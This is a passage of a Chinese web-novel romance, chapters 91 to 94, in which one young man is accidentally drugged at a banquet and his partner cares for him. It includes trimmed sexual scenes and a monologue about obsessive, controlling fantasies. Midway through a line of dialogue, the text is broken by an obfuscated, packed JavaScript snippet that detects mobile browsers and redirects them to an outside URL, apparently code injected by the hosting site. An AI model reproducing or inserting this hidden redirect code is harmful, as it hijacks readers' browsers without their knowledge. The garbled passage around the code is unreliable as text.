“都不是,”桑群摇头,“还记得宋绝说过的话吗?我们工厂属于待观望的行列,而我今晚做的努力,也只是将这个‘待观望’升级成‘可商谈’而已。本来帮忙拦人是想卖个人情,增加筹码,可他居然拿瓶酒抵掉了……狡猾。” “哦……”阮牧年思索着,“我好像明白了。但我还是不太理解,为什么他夸了你一句聪明,你们就好像达成了某种共识?我进来之前,你们还聊了什么?” “没聊什么,”桑群倒也没说错,确实只是闲聊几句,他起身牵起阮牧年的手,“跟我来。” “怎么了?” 阮牧年跟着他来到露台边缘,木栏杆缠满藤条和小圆灯,光线柔和,向下眺望,可以将江景尽收眼底。 左边可以看见酒店门口的马路,一辆黑色轿车停在那里,一道穿着白大褂的人影从车上下来。 “嗯?”阮牧年趴在栏杆上张望,“那是宋总的车吧,哇哦,他居然真的有一个男朋友?” 桑群摸了摸他的脑袋:“他刚刚也看出你是我男朋友了,呆瓜。” “啊?”阮牧年愣了一下,“我刚才太入戏了,好像没听清他在讲什么……他居然看出来了?那你怎么说的?” “我说这不是我男朋友,”桑群一本正经道,“这是我养的年糕精。” “喂,”阮牧年面露惊恐,“你真的这样说吗?桑桑你现在抹黑人都是当面的吗?” “没有,”桑群微微俯身,在他唇边碰了一下,“都是亲口说的。” 阮牧年脸颊发烫,把他推开一点:“别、别被人看见了……说起来,那个小姐说大老板谈男的都是玩玩而已,你会抛弃我吗,桑桑?” 桑群无言以对:“那酒里是掺了降智药吗?” “万一呢?”阮牧年捧着脸蛋,悲伤地畅想,“也许我陪桑老板白手起家……呃不对,是子承母业之后,见识了花花世界的桑老板玩心渐起,便抛弃了当初不离不弃的糟糠之妻……” 桑群抬手敲他脑袋:“你现在的当务之急是卸载番茄小说。” “哎呦,”阮牧年抱住脑袋,嘻嘻笑了两声,“我都是在论坛上追更的呀……话说,你拉我过来,是要欣赏夜景嘛,嗯——好黑哦这个江。” “除了江以外,你还看见了什么?”桑群偏过头看他,轻声引导,“没开灯的话。” “看见什么?”阮牧年四处张望,更远的地方全是漆黑一片,往近的看,也只有一个桑群值得欣赏,“看见了我帅帅的男朋友呀。” 还以为又会被敲脑袋,却 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“……我确实不擅长跟人打交道,”想到这里,桑群抿了抿唇,“你没进来的话,宋总可能会被我骂跑。” “啊?”阮牧年想象不出来,“他人还不错吧?” “但他说话太拐弯抹角了,”桑群微微皱眉,“烦人。” “噢,那确实,”阮牧年点头,又围着桑群转了两圈,欣赏这件漂亮的暗蓝西装,“好看,桑桑最帅了。我们穿着这个回去喝酒吧?” “你别想再喝,”桑群皱眉警告他,“回去乖乖喝果汁。” “嘤,”阮牧年拉着他的衣角试图撒娇,“就一口嘛。” “一口都不行。”桑群果断拒绝。 西装外套是好看的,但内衬在刚才的混乱中被泼脏,桑群做了半天心理建设还是难以忍受,跟阮牧年去了趟厕所换衣服。 不知道是不是没有空调的缘故,在隔间换衣的时候有些热。 宴会渐渐进入尾声,桑母晚上也喝了不少,桑群叫了车打算先送她回去。 车内,暗蓝西装的轮廓依旧清晰,桑母通过后视镜微笑着欣赏自己的杰作,阮牧年探头过来,小声问:“桑桑,你是不是有些热?” “嗯?”桑群松了松衬衣领口,“有点,可能外面温度太高。” “可车里开空调了啊。”阮牧年扭头看了眼前面的电子屏,18°C,不至于把人脸蒸红吧。 桑群伸出手指勾住他的,平日里体温偏凉的人居然比阮牧年这个火炉手温还高:“没事,可能酒喝多了。” 阮牧年回握住他的手,没敢轻易按下心里的疑虑。 回到家,两人将外套挂起来,受桑群催促,阮牧年先去阳台把脏衬衣浸泡在水里,滴洗衣液等水里起泡了,才回屋找桑群:“桑桑,衣服我泡好了……” 客厅没人,他推开卧室的门:“桑……你、你怎么了?” 桑群竟将衬衣外扣全解开,半敞着靠在床头,灯光映照着那张两颊泛红的脸愈发妖冶,眉心轻皱,双唇紧抿。 他捉住阮牧年伸过来的手,搭在额间:“年年,我好像……不太对劲。” “这是怎么了,喝多醉了吗?”阮牧年焦急地搂住他的肩膀,隔着衣服都能感受到发烫的皮肉,“桑桑、桑群?你能听见我说话吗?” 桑群缓慢地眨了一下眼睛,脑袋靠近阮牧年紧绷的腹肌,轻轻蹭了蹭:“嗯,别抓……疼。” 阮牧年连忙松了点劲:“我不抓,你感觉怎么样?吹风发烧的吗?” “……哦,”桑群的眼神时而恍惚,时而清醒,他的脑回路忽然搭上线,吐出一句,“是那杯酒。” 阮牧年低下头问:“什么?” “酒……啊,”桑群闭上眼,说出来的话又变得混乱,“那个女人……难怪冲过来……倒霉啊……” 92. 92(有删减) 阮牧年还在梳理思路:“那杯酒……宋总给你下药?” 桑群伸手抱住他的腰,滚烫的侧脸贴在他肚皮上:“不……是那个女人,我们……阴差阳错……” 阮牧年听明白了,也就是说那个黎小姐本想给宋总下药,却没想到宋总将红酒送给了他们,而自己又被桑群管着滴酒不沾,这药就下到了桑群身上。 他顿时不知道该怎么办,现实里怎么也能碰上这么戏剧化的事,按照小说里面常见的套路,这个时候他和桑群应该互扯衣服干柴烈火了。 低头看去,桑群安静地贴在他身上降温,垂下的睫毛又密又长,微带水光的唇诱人至极。 他喉结轻滚,心念一动,伸出手搭在桑群脖颈上,四指缓缓上移,而桑群的反应似乎有些迟钝,乖乖顺着他的动作抬起下巴。 拇指轻擦过那块凸起的皮肉,而桑群只是怔怔地靠在那里,在喉结被玩弄的时候发出一声难掩的低哼。 这也太涩了,阮牧年抿了抿唇,指节不自觉加重力道。 桑群又哼了一声,眉心轻蹙,不太舒服地往后撤开一点:“……疼。” 但也只是撤开了一点。因为阮牧年身上凉快,他顺势将另半边脸贴过去,给冰凉贴留了个后脑勺。 “年年……”桑群疑惑的声音响起,字句之间稍有拉长,“你怎么不穿衣服啊?” “衣服脏了,是你叫我拿去洗的呀,”阮牧年扣住他的后脑,感受对方贴在自己腹上的鼻尖轻嗅,只觉心痒难耐,“桑桑,你现在……是在发作吗?我该怎么办,需要我帮你吗?” “怎么办……”桑群毫不自知地在他身上蹭着,慢慢地说道,“唔,当然是去医院了,看看需不需要催吐,哦对了……” 他双手勾住阮牧年的后腰抱紧,整个人热乎乎地吸了一口自己的小年糕:“想办法让宋绝看到报告单,找他报销医药费。” 阮牧年顿了顿:“……你怎么还有心思打算这个啊,我是问你,你自己要怎么办?” “我?”桑群又有些转不过脑筋了,“我……我喜欢你,好凉快。” “我不是在说这个啊,”阮牧年头疼地把他推到床头靠着,在桑群挣扎的时候凑过去跟他脸贴脸,“我是在问你的感受,你觉得自己的身体怎么样?一般那种药,不都会……” “感……受?”桑群很慢地眨了一下眼,“应该是哪种助兴剂吧,可能还有些致幻作用……非要说的话,就是难受,好热,想亲你。” 阮牧年顿时更担忧了,前半句还在认真分析,后面怎么又开始胡言乱语了? “致幻?那完蛋了,”他赶紧捞起粘着自己不放的小火炉,“我们去看个急诊吧,骑自行车带你,你能坐稳后座吗?” “打车,”桑群又清明了一瞬,“账单截图,到时候一块报销。” “这种时候就不用这么精打细算了吧!”阮牧年抓了抓他的肩膀,“你能自己站起来吗?” 桑群点头,坐直身体,手肘一撑,下一秒就迷迷瞪瞪地跌坐回去。 “嗯?”他有些迷惑,准备再试一遍,“我站得起……呃。” 阮牧年扶额,按好他不安分的肩膀:“算了,你待着吧。我去拿出门的衣服,你就坐在这里等我,好不好?” “好的,哥哥。”桑群点头。 给孩子迷成啥样了,阮牧年强忍住亲他一大口的冲动,快步到衣柜里拿衣服。 桑群身上那件都被汗浸湿了,再拿条汗巾擦擦背吧。正想着,阮牧年转身,却发现上一秒还坐在床边的人影不见了。 怎么还带消失的?他吓了一跳,低头看去,哦,原来是躺下了。 正要把人拉起来穿衣服,桑群的声音先响起来:“衣服给我吧,我自己……唔,好热啊,你能抱抱我吗,哥哥?我想*。” 这话说得跟两个人格打架似的,阮牧年赶紧过去给他扒掉湿衣服,还没来得及套上干衣服,桑群就贴了过来,淡绯色的脸蛋压在他胸前,微狭的眼角被挤得圆润起来。 阮牧年不敢动了:“桑桑,你……” “头好晕,哥哥……”桑群无意识地蹭了一会儿,忽然抬起头来,“嘶,我刚才有点昏沉,车打好了吗?走吧。” 走什么啊,衣服都没穿好。阮牧年现在不敢带他出门,怕他对着医生来一句可以脱裤子吗硬了,到时候就难收场了。 桑群又开始犯迷糊:“哥哥……你在做什么?” “你不是热吗,来,哥哥抱抱,”阮牧年拥紧他,趁迷糊蛋沉迷贴贴的时候,在他背后点开搜索引擎紧急查资料,“抱好了啊,不许松开,解开腰带后是不是舒服一点?” 桑群点头,在他胸前越埋越深。 阮牧年一个个叉掉弹出来的破广告,到底有没有相似案例啊,好难搞,哦哦看到一个科普,药物分为几类,一般是增加激素或者控制精神…… 好像懂了,又好像没懂,算了,让这家伙清醒一点要紧。阮牧年在怀中人微微发汗的脊背上拍了拍,轻声问:“我们桑桑还难受吗?要不要哥哥帮你?” 桑群好像没听懂,反应了好一会儿才低声嗯了一下:“难受……要。” (……) 疏解一番过后,药效好像消退了些。桑群扶着发烫的脑门坐直,皱着眉头一脸复杂地看向阮牧年:“……我好像失态了。年年,你还好吗?” 阮牧年见他说话正常了些,松了口气:“桑桑,你今天好快哦。” “……” 桑群弹他脑袋:“药的问题。倒是你,吃到了想吃的,味道如何?” “好吃,下次还要。”阮牧年舔了舔唇,冲他露出一个甜丝丝的笑。 “……嘴硬。”桑群无语,刚才明明还背过去偷偷吐掉。 “没有你硬,”阮牧年嘻嘻笑道,“我全吃掉了,真的。” 骗人精,桑群捏了捏他的脸蛋,感觉自己清醒了不少:“我们走吧,你快打车。” 到医院挂号做了检查,阮牧年陪着桑群等结果,中途给桑母打了个电话告知事由,桑母登时酒都醒了,即刻赶来医院。 “好啊,老娘摸爬滚打这么多年,还没谁敢给我下药,”今女士叉着腰,冷笑了一声,“居然欺负到我儿子头上,不扒她层皮我就不姓桑!” 桑群刚抽完血,阮牧年给他按棉签,他靠在阮牧年肩上,闻言抬头:“你本来也不姓桑啊。” “我偶尔也姓桑的。”桑母轻咳了两声。 等了半天终于出了结果,因为那杯酒桑群没有喝完,所以摄入的剂量不多,这几个小时症状会严重些,比如发热、神志不清之类,随着身体新陈代谢下去,药效会慢慢中和,也就没什么大碍了。 万幸那东西没有成瘾性,医生开了点药,在医院观察一会儿没有反复,差不多就可以回家了。 得知儿子没出大问题,今女士松了口气,开始疯狂翻通讯录找关系,誓要揪出那个姓王的和姓宋的跟他们要个说法。 阮牧年去开水间打了水,给桑群喂完药,挨着他坐下:“桑桑,现在感觉怎么样?” 每隔一段时间阮牧年就要问一句,桑群如实答道:“好多了,没那么热,就是想睡觉。” “那就眯一会儿,我陪你。”阮牧年递出肩膀。 桑群舒服地靠上去,低声唤他:“年年……牵手。” 这也太可爱了,阮牧年勾过他的胳膊,跟他十指相扣:“牵好了,放心睡吧。” 桑母打完电话回来,就看见两块小蛋糕靠在一起睡觉的画面。 桑群靠在阮牧年肩上,阮牧年也抵抗不住睡意,轻抵在桑群发顶,肩膀下两只手紧紧相扣,又温馨又甜蜜。 哎呀,这小手牵的,让别人看见后酸了怎么办?本着为路人着想的好意,桑母问护士要来了小毯子,给两个儿子盖上,顺便记录下这有爱的一幕。 等留观时间结束,桑母叫车先把他们送回出租屋,本想跟着进去帮忙收拾安顿一下,却被阮牧年以时间太晚之后可能打不到车为由劝说,放弃了这个想法,跟他们挥手告别。 开玩笑,走的时候床上的脏东西还没擦呢,哪里敢让桑母看见。 在医院补了会儿觉,桑群好像更清醒了些,还能帮他洗头。 “我吹……” “我来我来,”阮牧年连忙抢过他手里的电风吹,“我怕你拿不稳砸我头上。” “不至于,”桑群道,“我力气没那么小。” “你刚才站都站不起来啊 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“我说,”桑群回过头,他脸上的绯红已经褪去,依旧是那副疏离淡漠的模样,那双黑白分明的眼眸却格外明亮,闪着微微的水光,“阮牧年哥哥,我想跟你**。” (……) 他微喘着气抹了把凌乱的额发,红唇扬起一抹餍足的笑,俯下来,抬起手指抚摸那张令他心动不已的脸。 “你知道吗,我等这一天好久好久了,”阮牧年垂下睫毛的眼眸漆黑一片,浓重的情绪不住翻涌,“我该怎样拥有你?我想过无数种答案,自己跟自己对打,争不出结果。” 那一刻,他的目光变得幽邃深长,或许这一刻的阮牧年,并不是人们常见的那一个,也不是桑群常见的那一个,而是第三扇门里埋藏了无数欲望与阴暗、永日不见天光的那一个。 “我想打断你的腿,我想用镣铐将你锁在家里,我想遗憾地向其他人宣告你的死讯,就此完全地将你圈养在属于我的领地内,”指尖摩挲过那些凌乱不堪的红痕,阮牧年的声音却放得很轻,仿佛只是在给他讲一个睡前故事,“我比你见到的还要顽劣、还要坏……可是桑群,我的那些坏心思没有一个实现。 “因为在我采取行动之前,你已经朝我走来了。” 又或许,所有的阮牧年,开朗的、粘人的、偏执的……都只是一个他而已。 因为无论是怎样的自己,都最爱最爱桑群,也都被桑群爱着。 “我不明白你为什么会喜欢我,从前不明白,现在不明白,以后也不会明白,”那道轻柔的嗓音微微哽咽,好在他倾诉的对象早已安眠,这些瑕疵微不足道,“我永远会怀疑你的喜欢。我其实还是没变,还是那个只会不安的胆小鬼,等着你将我推开的那一天,用尽一切手段把你留下来。” “不要让我有变成坏人的那一天,”他轻轻将额头抵在桑群和缓起伏的心口,“我不相信命运,不相信神明……我只能相信你。” “多可笑啊,又怀疑又相信的……”他兀自喃喃自语,“阮牧年,只敢可悲地在无人回应的夜里表白,真是懦弱……” “可又有什么办法呢?我抓不住的东西太多了,体会的失望也太多了,只有桑群……是选择我的那一个。” “难道你情愿做扑火的飞蛾吗?” “是啊,就让我……死在他的火光里吧。” 夜色静默,床边暖灯昏黄,安静的房间里,孤人的呢喃渐渐平熄。 可发顶忽然被什么压了压,很轻的力道,仿佛是在抚摸。 阮牧年趴在他身上一怔,心脏忽然迅速跳动起来。 “……笨蛋……年年……” 桑群依旧躺在那里,眉目平和,抬起的手也不再动弹,一切仿佛只是一场绮梦的呓语。 可阮牧年即刻红了双眼,鼻尖涌上酸楚。 是啊,他就是个笨蛋。 把自己包装得再决绝,也无法否认他自始至终只是仗着桑群的宠爱娇纵蛮恃。 阮牧年凑上前去,泪水模糊视野,顺着脸颊流至唇边,带着咸涩的吻落在桑群柔软的唇上。 静谧无声的夜晚,只有那滴泪品尝过少年滚烫浓重的爱意。 “桑群,我爱你。” 93. 93 桑群醒来的时候,最先感受到的是眼皮的沉重。 怎么回事? 他眨了眨眼,顺便带动了脸部的肌肉,结果下唇一阵刺痛。 嗯? 接着他想抬起手,抬……根本抬不起来。 难道他变成植物人了? 这个可怕的想法瞬间让他完全清醒过来,随之回笼的是关于昨晚的记忆。 桑群原本平静的表情逐渐裂开。 等等等等,进度条先往回拉,一开始是发生什么事了? 哦,他去参加个饭局,喝到了掺药的酒,兽性大发跟阮牧年滚了一晚床单……但不对吧,为什么他是下面那一个? 随着昨晚的记忆逐渐清晰,桑群的脸越来越黑,当即就要坐起来,下床去找阮牧年算账。 坐……坐个鬼,他坐都坐不起来。 手倒是抬起来了,桑群悲哀地捂住脑门,他睡着之后到底又被这家伙玩弄了多久? 在床上干瞪眼了几分钟,他终于恢复了些力气,撑着床单起身。 刚坐直,就感到腿间一片温热。 桑群:“???” 靠,他在心里暗骂一声,阮牧年这个疯子,懒得准备还懒得收拾,简直将不讲卫生发挥到极致。 全身跟散架了似的,桑群已经不想再多评价这家伙的技术了,疯狗和人类的评价体系应该分别看待。 他揉着腰下床,忍着腿上那股黏腻得令人难受的脏东西,快步走进卫生间里。 一通折腾,总算让自己清爽了不少,桑群将脏衣服丢进脏衣篓里,准备回卧室拿套新的,路过镜子时不由顿住脚步。 等一下。 镜子里这人谁? 他一点一点扭过头去,只见镜子里倒映着一个悲惨的人类,浑身红痕,吸的、咬的、捆的什么都有,侧着身会发现背后也全无幸免,除了脸浑身上下找不出一块好肉。 桑群低头一看,好家伙,腿也没被放过。 他的目光逐渐阴沉,牙根不自觉磨动,半晌冷哼了一声。 好样的,阮牧年。 他最好今天一整天也不要回来。 刚才穿过客厅的时候,桑群看出了家里没人。 等他换好衣服,扫了一眼卧室,发现原来人还能更绝望。 连他都懒得收拾的阮牧年,怎么可能会去收拾房间。 难以入目的东西一件接一件,桑群看得太阳穴疼,揉着脑袋开始收拾。 收到床头柜,他一眼看见阮牧年的玩具库,瞬间去别处找了个塑料袋,将这些违规玩意全部装进去,捆好,打死结,明天……不,下午就拿去废品站卖了! 还有昨晚乱扔在地上的衣服,脏得完全无法睡觉的床单,以及那根让桑群看一眼都恨得牙痒痒的红绳……全扔了算了。 好不容易坐到沙发上休息,桑群心累地长舒一口气,开始盘算该从哪里跟阮牧年算总账。 差不多11点的时候,家里大门被推开。 桑群立刻看过去,只见阮……一个巨大的纸盒子进了门。 桑群:“?” 纸盒子一点点蹭进来,把玄关鞋柜边的鞋子撞得横七竖八,大门合上,一道黄色的身影从盒子后面钻出来。 “热死我了……诶,桑桑,你起床啦?” 阮牧年眼睛一亮,拖鞋也不换就跑到沙发边来:“你怎么样?早饭吃了吗?药喝了吗?” 还没开始兴师问罪,反而被阮牧年拷问起来,桑群微愣:“……早饭?” “我温在锅里了呀,冰箱上有纸条,”阮牧年回头看了一眼,“难道你刚起来吗?肚子饿不饿?” 桑群被他问得完全没有空隙发脾气,只好先回答他的问题:“起来一会儿了,没去厨房,饿……有一点。” “那就不吃早饭了,我路上买了袋酱香饼,你先垫一垫,”阮牧年从包里掏出小食,还是热腾腾的,“竹签在旁边,拿好哦。我去给你做午饭,今天市场又有好多食材。” 桑群赶紧叫住他:“等下,你门口那是什么?” “嗷,是我买的家具,”阮牧年把书包放下,凑过来在他脸上亲了一口,“先放在那边,待会儿再拆。你好好吃着,午饭很快就好。” 好忙的样子,桑群被他安顿在沙发上,又有些发不出脾气了。 这家伙固然可恶,但还知道关心他……算了,再看看他的表现吧。 昨晚医生开了药,严格来讲桑群这几天算是病人,不宜吃油盐过重的,阮牧年早已对他的口味了如指掌,健康餐做得又丰盛又迅速。 今天的午饭是大厨亲自盛碗,亲自端出来的,阮牧年又不发疯了,只是软软地贴着他:“快吃吧。” 桑群看了他一眼:“你昨晚……” “嘘、嘘,”阮牧年连忙冲他眨眼,端起碗开始扒饭,“吃饭不说话哦。” 哟,这小子还会心虚呢,还以为他完全不愧疚呢,桑群轻挑眉梢,意味深长地看他,无言地开始吃饭。 吃饱了就有力气骂人了,等着吧。 结果一吃完,阮牧年又跑去洗碗,拖箱子,找剪刀。 “在床头柜里。”桑群提醒无头小苍蝇一句。 阮牧年钻进卧室,忽然大声咦了一声:“桑桑,这柜子……怎么空了?” “在第一层,没空。”桑群闭着眼靠在沙发上,唇边挑起些许弧度。 剪刀当然在,只是阮牧年说的东西不一定。 阮牧年拿着剪刀出来了,没朝箱子走去,先向他走来。 怎么,这是要动刀吗,桑群挑了挑眉,扫了一眼茶几,有把指甲刀,可以一战。 然而阮牧年只是拿着剪刀帮他把泡剂包装剪开,倒进杯子里用热水冲泡。 “这几板是吞的,最后喝这杯药,温水这个杯子,”阮牧年蹲在茶几边帮他泡药,递过去,“小心烫。” 桑群瞥了他一眼,小狗眼微微下垂,看着还挺乖。他接过喝一口,阮牧年一直在旁边眼也不眨地看他。 吃完药,桑群开口:“看我干什么。” “咳咳,桑桑,那个……”阮牧年对着手指,小心翼翼地问他,“我、我可能确实有哪里做得不太到位,但也不能一棒打死对不对?那个、我的东西……” “哦,”桑群没听懂似的,“哪里不到位?你什么东西?” “呃,”阮牧年挠了挠头,“我……太霸道了?我、我还乱咬人,好吧,我一点也不听话,但但但物品是无辜的啊,那些都是我的宝贝,拜托了桑桑,求你不要丢掉它们……” 桑群差点以为自己听错了:“你的什么?” “珍宝啊,”阮牧年扭捏地揪着衣角,不好意思地告诉他,“每一样都是精挑细选出来的,而且我还给它们取了名字。嗯……还、还有一件是我量完尺寸去定制的……你、你不要这样看着我哇。” 买那么多、取名字、还定制?桑群越听越想冷笑,要不是借着昨晚的机会,他还无法看清这家伙荤黄的真面目。 桑群靠在沙发上,轻嗤:“你过来。” 阮牧年凑过去,刚靠近就被揪住耳朵。 “哎哎哎,桑桑桑桑,我知道错了呜呜……” 桑群只是作势揪了一下,很快就松开,阮牧年却身形不稳,踉跄着趴倒在他腿上,下巴顶在大腿上,可怜兮兮地望着他。 “你挺乖的,”桑群居高临下地捏起小狗的下巴,稍稍用力,“我说东你往西,嗯?” “我错了。”阮牧年迅速认错。 “错哪儿了?”桑群问。 “我应该乖乖听话,按照桑桑老师的要求完成作业,”阮牧年垂下睫毛撇了撇嘴,马上被桑群用指甲拨了一下唇,“但、但我也只是有一点小爱好而已嘛,它们罪不至此……” 还敢狡辩?桑群带着拖鞋一脚踩他腿上:“还有呢?” “啊?”阮牧年开始绞尽脑汁,“我、我还有哪儿错了……” 桑群冷哼一声:“你挺多情,有那么多宝贝……嗯?” “总不能一个个叫名字吧。” “比我还重要?” 阮牧年眨了眨眼,忽然反应过来,直起身凑近:“当然不是了,你是最重要的。不过……” 阮牧年一手按在沙发靠垫上,跟桑群贴鼻尖:“你是在吃醋嘛,桑桑?” 桑群立刻挑起了一边眉:“吃什么?” 阮牧年笑了笑,吧唧一口亲在他嘴上,嗓音比马卡龙还甜:“我最喜欢你了,桑桑宝贝。” 桑群微怔,不自觉往后仰了仰,又被阮牧年追过来亲。 “你喜欢被这样叫吗,桑群宝贝……或者,宝宝?”阮牧年贴着他问。 桑群轻咳一下,别过脸去,半晌才低低嗯了一声。 “太可爱了,宝宝,”阮牧年高兴地抱紧他,“原来你在不开心这个,我还以为你怪我昨天晚上没有好好对你……” “你也知道?”桑群顿时看过来,反问,“既然如此,我们来算算帐……” “呃,啊哈哈,我们去拆一下纸箱吧,”阮牧年立刻直起腰,揣起剪刀就走,“哎呀,这可是个大工程呐。” 又逃跑,桑群坐在原地道:“拆吧,脏兮兮的就别抱我了。” 阮牧年瞬间折回来:“其实待会儿拆也可以。” 桑群勾过他的裤绳,在他腰上不轻不重地掐了一把。 “疼吗?” “啊,好、好疼。”阮牧年马上挤眉弄眼叫起来。 “继续装,”桑群冲他拉开衣领,“这点就疼得乱叫,那你做的这些都是什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356371|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 阮牧年愣了愣:“啊,我早上走的时候还没这么严重啊……” 他探头过来看了看,轻轻摸了一下,桑群直接拍掉他的爪子,阮牧年斟酌着语气:“呃,桑桑,有没有一种可能……是你的体质问题呢?” 桑群觉得不可理喻:“你在怪我?” “不、不是!”阮牧年连忙摆手,“我的意思是,会不会你是那种时间越久痕迹越明显的人,然后达到某个峰值才开始消退……什么的……” 桑群冷笑:“达到某个峰值?行,接下来一周你都别想碰我。” “也、也不是这个意思啊,”阮牧年慌了,连忙挽回,“怎么能完全不碰呢?你想,我们要遵循自然规律呀,我们才十九又不是九十,也不用现在就开始修身养性……” “那等我好了再说。”桑群道。 “我、我不碰你,你碰我吧好不好?”阮牧年急得快哭了,失去私生活对焦糖年糕来说简直是毁灭性打击,“正好我欠你两次,你今晚就可以拿回来,我愿意挨……唔唔唔。” 桑群赶紧捏住他的嘴,给了个更确切的时间:“你能不能消停两天……等我药吃完再说。” 阮牧年瘪着嘴,用脑袋撞他:“不要当和尚啊……” “但也不能像你那样毫无节制,”桑群拨开砸过来的脑袋炮弹,把他翘起来的乱毛抚平,“这件事我们以后再商量。坐好,别乱动。” “……我下次会克制的,”阮牧年耷拉下脑袋,坐到他身边,小声道歉,“对不起,你放宽点要求好不好?求求你了宝宝。” “现在卖乖有点迟了。” “不迟不迟,我一直都很乖的。” “?听听你说的话。” “呃,好吧,昨晚是例外,呜。” “别装可怜了,去拆你的箱子。” “你原谅我了吗?” “还没,看你接下来表现。” 话已至此,阮牧年准备大展身手。只见他三下五除二拆掉纸盒,从里面掏出了一个……一件……呃,一块毯子? “看我给你安装。”阮牧年冲他眨眼。 阮工程师即刻开工,拿着说明书在那里嘀咕研究,最后把毯子安装在沙发上……哦,不是毯子,据阮牧年所言,是按摩垫。 “通好电了。桑桑,坐上去试试。” 桑群半信半疑地坐过去,开关按下,垫子立马工作起来,颈肩背腰臀被舒服地贴住,然后开始模拟按揉…… 确实解乏,酸累的腰也得到了放松。 “舒服吗,宝宝?”阮牧年趴在旁边靠垫上看他,戳了戳桑群的脸蛋,“你好享受的样子,不会睡过去了吧?” “……嗯,”桑群闭着眼,声音随着垫子一抖一抖的,“比你的手舒服。” 阮牧年臊眉耷眼起来:“我就那么差劲吗……” 桑群问:“你设置了多久?” “15分钟。” “哦,”桑群面容安详,“我睡一会儿,去衣柜解救你的宝贝吧。” 阮牧年却蹭过来,在他旁边的沙发靠垫上侧躺下来,朝着他说:“我在这陪你。” 桑群轻嗤:“眯这一会儿,梦都不一定做。” “但我就喜欢看你睡着的样子。”阮牧年说。 桑群没再说话,垂落身侧的小臂抬起来,刚举到半空就被阮牧年抓住,捏进对方手心里。 他的指尖蜷了一下,还没去扣阮牧年的手,就感受到指腹触上一片温热湿软。 桑群不动了,任由年糕精缠着他,用柔软的唇舌亲吻自己的手,最后被对方紧紧扣住。 按摩垫有静音模式,屋里并不吵闹,桑群能感受到颈侧的靠垫微微凹陷,有什么重物抵在那里。 不用睁眼也能察觉到对方的视线,专注、深沉,像一只蹲在快递盒里期待被收养的流浪小狗。 哦,不太准确,应该是已经被收养了,却还是害怕会被主人抛弃,于是总是可怜兮兮地趴在那里。 桑群本来没什么睡意,只是借口休息。但手上阮牧年有一下没一下的按揉比按摩垫的震动还要催眠。 当然还是阮牧年的手更舒服,他只是喜欢逗小狗。 耳畔有股徘徊渐近的气息,似乎正犹豫着要不要偷一个吻,只是没一会儿就停滞住。 因为桑群慵懒低沉的嗓音响起,含糊的尾音带着他一如既往的温柔。 他说:“……不要死在火光里。” 阮牧年的呼吸消失了。 “你要……浴火成蝶。” 桑群的表情依然平和,他没有睁眼,将这些回应模糊成梦境的呓语。 不知何时,阮牧年的手指也被桑群扣住,交缠的指节宛若他们彼此牵连的人生。 “我也爱你,阮牧年。” 94. 94 几天后,晚宴的事情终于有了结果。 不知桑母是怎么找到那位负责人的,总之他们取得了联系,那位负责人深感抱歉,表示一定会报告上级,严肃处理。 “……大概就是这样,良辰报销了费用,但也只是暂代赔偿,”桑母在电话里说,“你说的那个什么黎小姐,我也查了查,好像是东区那边某个老总的女儿。他们应该是跟于归有矛盾,项目竞争什么的吧,反正对我们来说确实是无妄之灾。” “嗯,”桑群正在进行每日一次的按摩放松,随意地回话,“于归想把手伸到南区来,触及某些人利益了,才会有这些事端。不过我更好奇,那位王负责人真的与你是旧相识?” “什么旧相识,”桑母嘁了一声,“没结仇都不错了,再见到他真是晦气。当年他替他舍友给我送情书,我说我有男朋友了,不知道他回去怎么传话的,他舍友第二天就发帖骂桑远是阻拦我和他的狐狸精,神经病吧,我直接拉黑他们整个宿舍了,要不是你,真的不想加他。” 桑群:“呃。” 这今院花的大学生活还真是丰富多彩啊。 “没想到现在混的比我还好,更晦气了!”今女士越想越气,“不过你放心,生意上我还是拎得清公私的。我们关心的合作大概是有戏了,王义栋安排下个月初约我们洽谈,到时候你去,我可不想再看见他了。” “行。” “你在干什么啊,”桑母奇怪道,“为什么声音抖来抖去的,难道……?” “我在按摩,”桑群无语,“你想什么呢。” “哦哦,怎么忽然按摩起来了,腰间盘突出?你这个年纪不应该啊,”桑母又道,“年年去哪里了?” “出门买菜,”桑群说,“最近在琢磨什么‘食疗’?听不懂,改天请你过来吃喜宴。” “……两句话离不开秀恩爱,你跟你爸不愧是父子,”桑母磨了磨牙,瞬间失去了和儿子通话的兴趣,“行吧,好好享受你的假期吧。唉,独守空房的老母亲什么时候也有人给我按摩做饭呢?” 桑群:“……按摩垫不是寄给你了吗,你难道不会装?” “你懂什么空巢老人,少说点风凉话吧,”桑母悲伤地说,“等你们比翼双飞了,偌大的房子就只剩我一人……” 桑群:“……” “你受了什么刺激,”桑群不解,“怎么忽然多愁善感起来了。” 桑母长叹一口气:“秀姨儿子也放假回家了,年轻力壮的小伙子就是好啊,还知道给妈妈送礼物……唉。” 桑群:“……你也想要?行,把手里这单子做完,工厂事务交给代理人,去请个假,跟我们走。” “走?”桑母愣了一下,“走去哪儿?” “旅游,”桑群告诉她,“年年早就安排妥当,只等你一句同意了。” “还有这种好事?”虽说经常吐槽儿子不孝,但度假机会忽然摆在眼前,今老板不得不慎重考虑一下,“事务哪儿有那么好转接,当初我住院也还得你帮着沟通联系才行……我这两天看看吧。” “嗯,尽早回复。” “你还没上任呢,这就摆上架子了?” “是,今老板您最好勤勉点,小心被篡位。” “哈哈哈我巴不得赶紧下岗呢,退休生活不好吗?” 按摩结束,阮牧年正巧推门进来:“我回来啦。” “嗯,”桑群走过去接过他手里的菜袋,顺便提了刚才的通话,“我妈说事情有后续了。” 听完桑群的转述,阮牧年边系围裙,边走进厨房:“哦,原来如此。不过好像还是有点敷衍,我们陪宋总聊了那么久,他居然就只让负责人传话。” “人家毕竟是高层,很忙的。” “可是他赔的那瓶酒,到最后却成了你受害的元凶,他再给你报销,那之前的补偿呢?漏掉一环了啊。” “较真,”桑群伸手在他鼻梁上刮了刮,“那个黎小姐是东区那边的人,在他们争出结果之前,我们肯定是拿不到完整的赔偿的。” 